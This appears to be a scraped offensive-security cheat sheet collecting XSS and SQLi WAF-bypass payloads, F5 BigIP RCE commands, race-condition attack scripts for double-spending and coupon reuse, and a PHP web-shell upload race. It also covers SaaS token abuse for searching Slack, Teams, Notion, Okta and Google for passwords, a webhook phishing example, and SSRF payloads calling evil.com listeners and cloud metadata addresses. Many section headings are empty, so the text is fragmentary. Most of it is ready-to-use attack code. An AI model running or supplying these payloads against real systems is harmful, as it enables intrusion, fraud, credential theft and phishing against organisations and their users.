%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
    <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
    <img/src=q onerror='new Function`al\ert\`1\``'>
    - Parameter pollution SQLi
    http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
    http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+-
    -XSS
    %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
    <img/src="x"/onerror="[7 char payload goes here]">
    
    # FAIL2BAN SQLi
    (SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT (ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    
    # F5 BigIP
    RCE: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
    Read File: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
    - XSS
    <body style="height:1000px" onwheel=alert(“123”)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>
    <body style="height:1000px" onwheel="[JS-F**k Payload]"> 
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
    (![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
    )[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
    +[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
    ]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
    ]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" on-
    show="prom%25%32%33%25%32%36x70;t(1)">
    
    # More payloads
    https://github.com/Walidhossain010/WAF-bypass-xss-payloads
    
    # Wordfence
    <meter onmouseover="alert(1)"
    '">><div><meter onmouseover="alert(1)"</div>"
    >><marquee loop=1 width=0 onfinish=alert(1)>
    
    # RCE WAF globbing bypass
    /usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/???/p?s?w?
    cat /etc$u/p*s*wd$u
    Logo

    Inventory/stock

    Purchase more than available

    Vote/like systems

    Multiple votes

    Account creation

    Duplicate accounts

    Money transfers

    Double-spend, overdraft

    Coupon/voucher redemption

    Multiple use of single-use code

    Rate limiting

    Bypass request limits

    File upload

    IDOR
    API Security
    Authentication Bypass

    Overwrite during processing

    hashtag
    Token Types

    hashtag
    Token Abuse

    hashtag
    Webhook Exploitation

    hashtag
    App Misconfigurations

    hashtag
    Microsoft Teams

    hashtag
    Tenant Enumeration

    hashtag
    Token Types

    hashtag
    Graph API Abuse

    hashtag
    Teams Tab Exploitation

    hashtag
    Incoming Webhook Abuse

    hashtag
    Notion

    hashtag
    Workspace Discovery

    hashtag
    Token Abuse

    hashtag
    Public Page Enumeration

    hashtag
    Okta / Auth0

    hashtag
    Tenant Enumeration

    hashtag
    User Enumeration

    hashtag
    OAuth Misconfigurations

    hashtag
    API Token Abuse

    hashtag
    Confluence

    hashtag
    Enumeration

    hashtag
    Exposed Content

    hashtag
    Jira

    hashtag
    Project Enumeration

    hashtag
    Google Workspace

    hashtag
    Drive Enumeration

    hashtag
    Admin API (if admin)

    hashtag
    Common Attack Patterns

    hashtag
    Token/Credential Hunting

    hashtag
    Phishing via Integrations

    hashtag
    Workspace Takeover

    hashtag
    Tools

    hashtag
    Related Topics

    • OAuth - OAuth vulnerabilities

    • OIDC - OpenID Connect

    • CI/CD Security - Often integrates with SaaS

    Normal flow:
    1. Check: Is user balance >= $100?
    2. Use: Deduct $100 from balance
    
    Attack:
    1. Send 10 parallel requests to buy $100 item
    2. All checks happen before any deductions
    3. All 10 purchases succeed with only $100 balance
    # Basic race condition script
    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint,
                              concurrentConnections=30,
                              requestsPerConnection=100,
                              pipeline=True)
        
        # Queue same request multiple times
        for i in range(30):
            engine.queue(target.req)
    
    def handleResponse(req, interesting):
        table.add(req)
    # Single-packet attack (most effective)
    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint,
                              concurrentConnections=1,
                              requestsPerConnection=100,
                              pipeline=False)
        
        # Send all requests in single TCP packet
        for i in range(20):
            engine.queue(target.req, gate='race1')
        
        # Release all at once
        engine.openGate('race1')
    # https://github.com/TheHackerDev/race-the-web
    # Configure in config.toml
    
    [[targets]]
    method = "POST"
    url = "https://target.com/api/transfer"
    body = '{"amount": 100, "to": "attacker"}'
    cookies = "session=abc123"
    count = 100
    
    # Run
    race-the-web config.toml
    import asyncio
    import aiohttp
    
    async def send_request(session, url, data, headers):
        async with session.post(url, data=data, headers=headers) as response:
            return await response.text()
    
    async def race_condition_test(url, data, headers, count=50):
        async with aiohttp.ClientSession() as session:
            tasks = [send_request(session, url, data, headers) for _ in range(count)]
            responses = await asyncio.gather(*tasks)
            return responses
    
    # Run
    url = "https://target.com/api/redeem"
    data = {"code": "DISCOUNT50"}
    headers = {"Cookie": "session=abc123", "Content-Type": "application/json"}
    
    responses = asyncio.run(race_condition_test(url, data, headers, 100))
    print(f"Success count: {responses.count('success')}")
    # Using GNU Parallel
    seq 1 50 | parallel -j 50 "curl -s -X POST 'https://target.com/redeem' \
      -H 'Cookie: session=abc123' \
      -d 'code=SINGLE-USE'"
    
    # Using xargs
    printf 'https://target.com/redeem\n%.0s' {1..50} | \
      xargs -P 50 -I {} curl -s -X POST {} -H 'Cookie: session=abc123'
    
    # Using bash backgrounding
    for i in {1..50}; do
      curl -s -X POST "https://target.com/redeem" \
        -H "Cookie: session=abc123" \
        -d "code=DISCOUNT" &
    done
    wait
    POST /api/apply-coupon HTTP/1.1
    Host: target.com
    Cookie: session=abc123
    Content-Type: application/json
    
    {"coupon": "50OFF", "cart_id": "12345"}
    # Turbo Intruder - apply coupon multiple times
    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint,
                              concurrentConnections=20,
                              requestsPerConnection=1,
                              pipeline=False)
        
        for i in range(20):
            engine.queue(target.req, gate='race')
        
        engine.openGate('race')
    # Transfer same funds to multiple accounts simultaneously
    import threading
    import requests
    
    def transfer(to_account):
        requests.post("https://bank.com/transfer", 
                      data={"to": to_account, "amount": 1000},
                      cookies={"session": "victim_session"})
    
    threads = []
    for account in ["attacker1", "attacker2", "attacker3"]:
        t = threading.Thread(target=transfer, args=(account,))
        threads.append(t)
    
    # Start all threads simultaneously
    for t in threads:
        t.start()
    # Send many requests before rate limit kicks in
    # All arrive within same time window
    for i in {1..100}; do
      curl -s "https://target.com/api/check-password?password=attempt$i" &
    done
    wait
    # Upload file and access before validation deletes it
    import threading
    import requests
    
    def upload():
        files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
        requests.post("https://target.com/upload", files=files)
    
    def access():
        for _ in range(100):
            r = requests.get("https://target.com/uploads/shell.php?cmd=id")
            if "uid=" in r.text:
                print("SUCCESS:", r.text)
                break
    
    # Run simultaneously
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=access)
    t1.start()
    t2.start()
    POST /api/purchase HTTP/1.1
    Host: store.com
    Cookie: session=abc123
    
    {"item_id": 1, "quantity": 1}
    Scenario: Only 1 item in stock
    1. Send 10 parallel purchase requests
    2. All check "is stock >= 1?" before any decrement
    3. Multiple purchases succeed
    1. Initiate OAuth flow, get state token
    2. Send multiple parallel callbacks with same state
    3. State may be accepted multiple times
    4. Link multiple attacker accounts to victim's OAuth
    Signs of vulnerability:
    - Operations involving balance/inventory checks
    - Single-use tokens/codes
    - Any "check then act" pattern
    - Lack of database transactions
    - Missing row-level locking
    
    Signs during testing:
    - Inconsistent results with parallel requests
    - Balance going negative
    - Stock going negative
    - Multiple redemptions of single-use items
    # Most effective - all requests in one TCP packet
    # Turbo Intruder with HTTP/2 single-packet mode
    
    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint,
                              concurrentConnections=1,
                              engine=Engine.BURP2)
        
        # Queue requests
        for i in range(20):
            engine.queue(target.req, gate='race')
        
        # Sync release - all in single packet
        engine.openGate('race')
    1. Send all requests except last byte
    2. Server holds connections waiting
    3. Send all final bytes simultaneously
    4. Requests processed at same instant
    # Use HTTP/2 to send multiple requests on single connection
    # All frames arrive together, processed together
    
    import httpx
    
    async def h2_race():
        async with httpx.AsyncClient(http2=True) as client:
            tasks = [client.post("https://target.com/api/action") for _ in range(20)]
            responses = await asyncio.gather(*tasks)
    # Turbo Intruder (Burp Extension)
    # Best for race conditions
    
    # race-the-web
    https://github.com/TheHackerDev/race-the-web
    
    # racepwn
    https://github.com/AhmedMohamedDev/racepwn
    
    # Burp Suite timing features
    # Repeater → Send group in parallel
    
    # References
    https://portswigger.net/research/smashing-the-state-machine
    # Check if workspace exists
    curl -s "https://WORKSPACE.slack.com" | grep -i "sign in"
    
    # Find workspaces from email domain
    # Some workspaces allow signup from company email
    
    # Enumerate users via Slack API (if you have token)
    curl -s "https://slack.com/api/users.list" \
      -H "Authorization: Bearer xoxb-TOKEN"
    xoxb-* : Bot token (most common in leaks)
    xoxp-* : User token (full user permissions)
    xoxa-* : App token
    xoxs-* : Session token
    xoxr-* : Refresh token
    # Test token validity
    curl -s "https://slack.com/api/auth.test" \
      -H "Authorization: Bearer xoxb-TOKEN" | jq
    
    # List channels
    curl -s "https://slack.com/api/conversations.list" \
      -H "Authorization: Bearer xoxb-TOKEN" | jq '.channels[].name'
    
    # Read channel history
    curl -s "https://slack.com/api/conversations.history?channel=C01234567" \
      -H "Authorization: Bearer xoxb-TOKEN" | jq
    
    # Search messages for secrets
    curl -s "https://slack.com/api/search.messages?query=password" \
      -H "Authorization: Bearer xoxp-TOKEN" | jq
    
    # List files
    curl -s "https://slack.com/api/files.list" \
      -H "Authorization: Bearer xoxb-TOKEN" | jq '.files[].name'
    # If you find incoming webhook URL
    # Can post messages to channel
    
    curl -X POST "https://hooks.slack.com/services/T00/B00/XXXX" \
      -H "Content-Type: application/json" \
      -d '{"text": "Phishing message with <https://attacker.com|legitimate looking link>"}'
    
    # Social engineering via webhook
    # Post as "IT Support" or automated system
    Checks:
    1. Apps with excessive permissions (files:read, users:read)
    2. Apps installed from unknown sources
    3. Workflow webhooks accessible externally
    4. Connect apps with broad OAuth scopes
    # Check if tenant exists
    curl -s "https://login.microsoftonline.com/DOMAIN.com/.well-known/openid-configuration"
    
    # Get tenant ID
    curl -s "https://login.microsoftonline.com/DOMAIN.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'
    
    # Check federation status
    curl -s "https://login.microsoftonline.com/[email protected]"
    - Access tokens (JWT) for Graph API
    - Refresh tokens (can get new access tokens)
    - Teams-specific tokens
    # With valid access token
    # List Teams
    curl -s "https://graph.microsoft.com/v1.0/me/joinedTeams" \
      -H "Authorization: Bearer TOKEN" | jq
    
    # List channels in a team
    curl -s "https://graph.microsoft.com/v1.0/teams/{team-id}/channels" \
      -H "Authorization: Bearer TOKEN" | jq
    
    # Read channel messages
    curl -s "https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages" \
      -H "Authorization: Bearer TOKEN" | jq
    
    # Search messages
    curl -s "https://graph.microsoft.com/v1.0/me/messages?\$search=\"password\"" \
      -H "Authorization: Bearer TOKEN" | jq
    1. Custom tabs can load external content
    2. If tab URL is controllable → phishing
    3. SSO tokens may be passed to tab URLs
    4. Check for tabs with sensitive data visible
    # Post to Teams channel via webhook
    curl -H "Content-Type: application/json" \
      -d '{"text": "Test message"}' \
      "https://outlook.office.com/webhook/GUID/IncomingWebhook/..."
    # Public pages may leak workspace info
    https://notion.so/WORKSPACE/page-name
    
    # API access (if token obtained)
    curl -s "https://api.notion.com/v1/users/me" \
      -H "Authorization: Bearer secret_TOKEN" \
      -H "Notion-Version: 2022-06-28"
    # List all pages
    curl -s "https://api.notion.com/v1/search" \
      -H "Authorization: Bearer secret_TOKEN" \
      -H "Notion-Version: 2022-06-28" \
      -H "Content-Type: application/json" \
      -d '{"query": ""}' | jq
    
    # Read page content
    curl -s "https://api.notion.com/v1/blocks/{block-id}/children" \
      -H "Authorization: Bearer secret_TOKEN" \
      -H "Notion-Version: 2022-06-28" | jq
    
    # Search for sensitive content
    curl -s "https://api.notion.com/v1/search" \
      -H "Authorization: Bearer secret_TOKEN" \
      -H "Notion-Version: 2022-06-28" \
      -d '{"query": "password"}' | jq
    # Find public Notion pages via Google dorks
    site:notion.so "COMPANY"
    site:notion.so/WORKSPACE
    
    # Check sharing settings on discovered pages
    # Public pages may expose internal docs
    # Okta
    curl -s "https://COMPANY.okta.com/.well-known/openid-configuration"
    
    # Auth0
    curl -s "https://COMPANY.auth0.com/.well-known/openid-configuration"
    # Okta password reset enumeration
    # Different response for valid/invalid users
    
    curl -X POST "https://COMPANY.okta.com/api/v1/authn/recovery/password" \
      -H "Content-Type: application/json" \
      -d '{"username": "[email protected]"}'
    
    # Timing attacks on login
    # Valid users may have different response times
    # Check for open redirect in authorize endpoint
    https://COMPANY.okta.com/oauth2/v1/authorize?
      client_id=X&
      redirect_uri=https://attacker.com&
      response_type=code
    
    # Check for lax redirect_uri validation
    redirect_uri=https://legitimate.com.attacker.com
    redirect_uri=https://legitimate.com%40attacker.com
    redirect_uri=https://legitimate.com/../attacker.com
    # If you obtain Okta API token
    # Can enumerate entire organization
    
    # List users
    curl -s "https://COMPANY.okta.com/api/v1/users" \
      -H "Authorization: SSWS TOKEN" | jq
    
    # List groups
    curl -s "https://COMPANY.okta.com/api/v1/groups" \
      -H "Authorization: SSWS TOKEN" | jq
    
    # List applications
    curl -s "https://COMPANY.okta.com/api/v1/apps" \
      -H "Authorization: SSWS TOKEN" | jq
    # Check for public spaces
    https://COMPANY.atlassian.net/wiki/spaces
    
    # API endpoints
    /rest/api/content
    /rest/api/space
    /rest/api/user
    # Search for sensitive content
    curl -s "https://COMPANY.atlassian.net/wiki/rest/api/content/search?cql=text~password" \
      -H "Authorization: Basic BASE64_CREDS" | jq
    
    # Export space (if permitted)
    curl -s "https://COMPANY.atlassian.net/wiki/rest/api/space/SPACE/content" \
      -H "Authorization: Basic BASE64_CREDS" | jq
    # List projects
    curl -s "https://COMPANY.atlassian.net/rest/api/2/project" \
      -H "Authorization: Basic BASE64" | jq '.[].key'
    
    # Search issues
    curl -s "https://COMPANY.atlassian.net/rest/api/2/search?jql=text~password" \
      -H "Authorization: Basic BASE64" | jq
    
    # Get issue details
    curl -s "https://COMPANY.atlassian.net/rest/api/2/issue/PROJ-123" \
      -H "Authorization: Basic BASE64" | jq
    # Search shared drives
    curl -s "https://www.googleapis.com/drive/v3/files?q=name contains 'password'" \
      -H "Authorization: Bearer TOKEN"
    
    # List shared files
    curl -s "https://www.googleapis.com/drive/v3/files?q=sharedWithMe" \
      -H "Authorization: Bearer TOKEN"
    # List users
    curl -s "https://admin.googleapis.com/admin/directory/v1/users?domain=company.com" \
      -H "Authorization: Bearer TOKEN"
    
    # Get user details
    curl -s "https://admin.googleapis.com/admin/directory/v1/users/[email protected]" \
      -H "Authorization: Bearer TOKEN"
    # Search GitHub for leaked tokens
    "xoxb-" OR "xoxp-" org:company
    "hooks.slack.com/services" org:company
    "notion.so/api" org:company
    "SSWS" "okta.com" org:company
    
    # Search in config files
    trufflehog git https://github.com/company/repo
    gitleaks detect
    1. Create malicious OAuth app
    2. Request permissions from victim
    3. Once authorized, access their data
    4. Use legitimate-looking app names
    1. Find admin with weak password
    2. Compromise via password spray
    3. Add your app/integration
    4. Maintain persistence via OAuth
    # SlackPirate - Slack enumeration
    https://github.com/AhmedMohamedDev/SlackPirate
    
    # TeamFiltration - Teams/O365 enumeration
    https://github.com/AhmedMohamedDev/TeamFiltration
    
    # ROADtools - Azure AD enumeration
    https://github.com/AhmedMohamedDev/ROADtools
    
    # Nuclei templates for SaaS
    nuclei -t http/exposures/tokens/
    Summary
    circle-info

    Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.

    hashtag
    SSRF Attacks

    SSRF Bypasses

    hashtag
    PDF SSRF

    hashtag
    Mindmap

    SQLi

    Skill Level: Intermediate Prerequisites: SQL basics, HTTP requests

    hashtag
    Detection

    hashtag
    Quick Test

    hashtag
    Common

    hashtag
    Polyglot

    hashtag
    Resources by type

    hashtag
    R/W files

    hashtag
    Blind SQLi

    hashtag
    Second Order SQLi

    hashtag
    sqlmap

    hashtag
    Related Topics

    • - OS command execution

    • - MongoDB, CouchDB attacks

    • - SQLi to RCE chains

    Supply Chain Attacks

    hashtag
    Overview

    Supply chain attacks target the software development and delivery process, compromising dependencies, build systems, or distribution channels to inject malicious code into legitimate software.

    hashtag
    Dependency Confusion

    hashtag
    Concept

    When an organization uses private packages with the same name available on public registries, attackers can upload malicious packages with higher version numbers to public registries.

    hashtag
    Exploitation

    hashtag
    Detection

    hashtag
    Typosquatting

    hashtag
    Concept

    Registering package names similar to popular packages to catch typos.

    hashtag
    Common Patterns

    hashtag
    Finding Vulnerable Packages

    hashtag
    CI/CD Pipeline Attacks

    hashtag
    GitHub Actions Exploitation

    hashtag
    GitLab CI Exploitation

    hashtag
    Jenkins Exploitation

    hashtag
    Package Repository Attacks

    hashtag
    NPM

    hashtag
    PyPI

    hashtag
    Maven/Gradle

    hashtag
    Third-Party Library Vulnerabilities

    hashtag
    Discovery

    hashtag
    Exploitation Research

    hashtag
    Source Code Repository Attacks

    hashtag
    Exposed Credentials in Repositories

    hashtag
    Commit Signature Verification Bypass

    hashtag
    Attack Vectors Summary

    Vector
    Target
    Impact

    hashtag
    Detection & Prevention

    hashtag
    For Attackers (Testing)

    hashtag
    For Defenders

    hashtag
    Tools

    hashtag
    Resources

    CI/CD Security

    Security testing for Continuous Integration and Continuous Deployment pipelines.

    Skill Level: Intermediate to Advanced Prerequisites: Git, YAML, basic DevOps concepts

    hashtag
    Attack Surface

    hashtag
    GitHub Actions

    hashtag
    Secrets Extraction

    hashtag
    Workflow Injection

    hashtag
    GITHUB_TOKEN Abuse

    hashtag
    Self-Hosted Runner Exploitation

    hashtag
    Poisoned Pipeline Execution (PPE)

    hashtag
    GitLab CI

    hashtag
    Variable Extraction

    hashtag
    Runner Token Abuse

    hashtag
    Protected vs Unprotected Variables

    hashtag
    Jenkins

    hashtag
    Script Console RCE

    hashtag
    Credentials Extraction

    hashtag
    Pipeline Secrets in Logs

    hashtag
    CVE-2024-23897 (File Read)

    hashtag
    Azure DevOps

    hashtag
    Variable Groups

    hashtag
    Service Connection Abuse

    hashtag
    Agent Exploitation

    hashtag
    Artifact Poisoning

    hashtag
    Dependency Confusion

    hashtag
    Build Cache Poisoning

    hashtag
    Container Registry Attacks

    hashtag
    Post-Exploitation

    hashtag
    Lateral Movement

    hashtag
    Persistence

    hashtag
    Detection & Defense

    hashtag
    Tools

    hashtag
    Related Topics

    • - GitLab specific attacks

    • - Dependency attacks

    • - CI/CD often has cloud access

    # https://github.com/tarunkant/Gopherus
    gopherus --exploit [PLATFORM]
    # https://github.com/daeken/SSRFTest
    # https://github.com/jmdx/TLS-poison/
    # https://github.com/m4ll0k/Bug-Bounty-Toolz
    # https://github.com/cujanovic/SSRF-Testing
    # https://github.com/bcoles/ssrf_proxy
    
    gau domain.com | python3 ssrf.py collab.listener.com
    
    # https://github.com/micha3lb3n/SSRFire
    ./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt
    
    # SSRF Redirect Payload generator
    # https://tools.intigriti.io/redirector/
    # Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
    chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
    GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
    # Check if you're able to enum IP or ports
    127.0.0.1
    127.0.1
    127.1
    127.000.000.001
    2130706433
    0x7F.0x00.0x00.0x01
    0x7F.1
    0x7F000001
    
    # Quick URL based bypasses:
    http://google.com:80+&@127.88.23.245:22/#[email protected]:80/
    http://127.88.23.245:22/+&@google.com:80#[email protected]:80/
    http://google.com:80+&@google.com:80#[email protected]:22/
    http://127.88.23.245:22/[email protected]:80/
    http://127.88.23.245:22/#@www.google.com:80/
    
    # 301 responses:
    https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
    https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg
    https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg
    https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg
    
    # 301 json:
    https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json
    https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json
    https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json
    https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json
    
    # 301 csv:
    https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv
    https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv
    https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv
    https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv
    
    # 301 xml:
    https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml
    https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml
    https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml
    https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml
    
    # 301 pdf:
    https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf
    https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf
    https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf
    https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf
    
    # 30x custom:
    https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
    
    # 20x custom:
    https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
    
    # 201 custom:
    https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
    
    # HTML iframe + URL bypass
    http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/
    
    # SFTP
    http://whatever.com/ssrf.php?url=sftp://evil.com:11111/
    
    evil.com:$ nc -v -l 11111
    Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
    SSH-2.0-libssh2_1.4.2
    
    # Dict
    http://safebuff.com/ssrf.php?dict://attacker:11111/
    
    evil.com:$ nc -v -l 11111
    Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
    CLIENT libcurl 7.40.0
    
    # gopher
    # http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
    <?php
            header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
    ?>
    
    evil.com:# nc -v -l 12346
    Listening on [0.0.0.0] (family 0, port 12346)
    Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
    HI
    Multiline
    test
    
    # TFTP
    # http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
    
    evil.com:# nc -v -u -l 12346
    Listening on [0.0.0.0] (family 0, port 12346)
    TESTUDPPACKEToctettsize0blksize512timeout6
    
    # file
    http://safebuff.com/redirect.php?url=file:///etc/passwd
    
    # ldap
    http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit
    
    # SSRF Bypasses
    ?url=http://safesite.com&site.com
    ?url=http://////////////site.com/
    ?url=http://site@com/account/edit.aspx
    ?url=http://site.com/account/edit.aspx
    ?url=http://safesite.com?.site.com
    ?url=http://safesite.com#.site.com
    ?url=http://safesite.com\.site.com/domain
    ?url=https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
    ?url=https://192.10.10.3/
    ?url=https://192.10.10.2?.192.10.10.3/
    ?url=https://192.10.10.2#.192.10.10.3/
    ?url=https://192.10.10.2\.192.10.10.3/
    ?url=http://127.0.0.1/status/
    ?url=http://localhost:8000/status/
    ?url=http://site.com/domain.php
    <?php
    header(‘Location: http://127.0.0.1:8080/status');
    ?>
    
    # Localhost bypasses
    0
    127.00.1
    127.0.01
    0.00.0
    0.0.00
    127.1.0.1
    127.10.1
    127.1.01
    0177.1
    0177.0001.0001
    0x0.0x0.0x0.0x0
    0000.0000.0000.0000
    0x7f.0x0.0x0.0x1
    0177.0000.0000.0001
    0177.0001.0000..0001
    0x7f.0x1.0x0.0x1
    0x7f.0x1.0x1
    
    # Blind SSRF
    - Review Forms
    - Contact Us
    - Password fields
    - Contact or profile info (Names, Addresses)
    - User Agent
    
    # SSRF through video upload
    # https://hackerone.com/reports/1062888
    # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
    
    # SSRF in pdf rendering
    <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
        <g>
            <foreignObject width="800" height="500">
                <body xmlns="http://www.w3.org/1999/xhtml">
                    <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
                </body>
            </foreignObject>
        </g>
    </svg>
    http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
    http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
    http://////////////site.com/
    http://0000::1:80/
    http://000330.0000072.0000326.00000343
    http://000NaN.000NaN
    http://0177.00.00.01
    http://017700000001
    http://0330.072.0326.0343
    http://033016553343
    http://0NaN
    http://0NaN.0NaN
    http://0x0NaN0NaN
    http://0x7f000001/
    http://0xd8.0x3a.0xd6.0xe3
    http://0xd8.0x3a.0xd6e3
    http://0xd8.0x3ad6e3
    http://0xd83ad6e3
    http://0xNaN.0xaN0NaN
    http://0xNaN.0xNa0x0NaN
    http://0xNaN.0xNaN
    http://127.0.0.1/status/
    http://127.1/
    http://2130706433/
    http://216.0x3a.00000000326.0xe3
    http://3627734755
    http://[::]:80/
    http://localhost:8000/status/
    http://NaN
    http://safesite.com#.site.com
    http://safesite.com&site.com
    http://safesite.com?.site.com
    http://safesite.com\.site.com/domain
    http://shmilon.0xNaN.undefined.undefined
    http://site.com/account/edit.aspx
    http://site.com/domain.php
    http://site@com/account/edit.aspx
    http://[email protected]
    https://192.10.10.2#.192.10.10.3/
